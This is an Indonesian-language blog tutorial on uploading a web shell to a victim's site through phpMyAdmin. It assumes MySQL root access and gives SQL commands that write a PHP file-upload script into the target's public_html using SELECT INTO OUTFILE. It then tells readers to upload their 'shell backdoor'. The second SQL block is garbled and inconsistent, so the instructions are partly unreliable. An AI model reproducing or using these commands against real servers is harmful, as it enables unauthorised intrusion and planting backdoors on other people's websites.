cara upload shell di phpmyadmin

assalamualaikum wr.wb kali ini saya akan memberikan tutorial cara upload shell di phpmyadmin.sebenarnya tutorial ini sudah ada sejak lama,jadi mungkin sudah banyak yang tahu.
ok langsung saja.

untuk dapat mengupload shell atau uploader  pastikan

• User mysql root atau have all privileges
• Tau direktori dari website target yang ingin di upload.

disini saya sudah memiliki user mysql root dan sudah tau tempat direktori web si target.

-pertama kalian masuk di phpmyadmin web target kalian.

-selanjutnya buat tabel baru,pilih menu sql,masukkan command:

use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "/home/leninkart/public_html/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "
<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "";?>');
SELECT * INTO OUTFILE '/home/leninkart/public_html/upload2.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

example:

-ubah /home/leninkart/public_html/ dengan dir web target kalian,perintah ini dimaksudkan untuk membuat form upload di website korban dengan nama upload2.php
-selanjutnya masukkan juga command

use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "";?>');
SELECT * INTO OUTFILE 'C:/home/leninkart/public_html/upload.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

-perintak ini bertujuan untuk membuat fungsi upload dari file upload2.php
-ok sekarang kita tinggal memanggil shell yang sudah kalian buat di phpmyadmin.
contoh kalian upload di dir public_html,maka kalian tinggal panggil dengan site.com/upload2.php

bingggoooo1!1!

tinggal upload shell backdoor kalian atau file lainnya.tetapi tidak semua bisa di upload di phpmyadmin,ya jadi tergantung seberapa hokinya kalian,terima kasih karena telah membaca 

Share this post